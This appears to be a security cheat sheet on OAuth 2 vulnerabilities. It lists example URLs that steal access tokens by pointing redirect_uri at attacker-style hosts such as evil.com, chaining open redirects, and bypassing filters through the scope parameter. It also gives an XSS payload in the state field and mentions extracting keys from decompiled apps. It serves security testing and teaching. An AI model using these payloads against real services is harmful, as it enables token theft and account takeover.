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OAuth 2 - Common vulnerabilities
Grabbing OAuth Token via redirect_uri
Redirect to a controlled domain to get the access token
https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful
https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
Redirect to an accepted Open URL in to get the access token
https://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com
https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F
OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect_uri” can’t be pointed to an Open Redirect.
Sometimes you need to change the scope to an invalid one to bypass a filter on redirect_uri:
https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com
Executing XSS via redirect_uri
https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
OAuth private key disclosure
Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.
Authorization Code Rule Violation
The client MUST NOT use the authorization code more than once.
If an authorization code is used more than once, the authorization server MUST deny the request
and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.
Thanks to
- http://blog.intothesymmetry.com/2016/11/all-your-paypal-tokens-belong-to-me.html
- http://homakov.blogspot.ch/2014/02/how-i-hacked-github-again.html
- http://intothesymmetry.blogspot.ch/2014/04/oauth-2-how-i-have-hacked-facebook.html
- http://andrisatteka.blogspot.ch/2014/09/how-microsoft-is-giving-your-data-to.html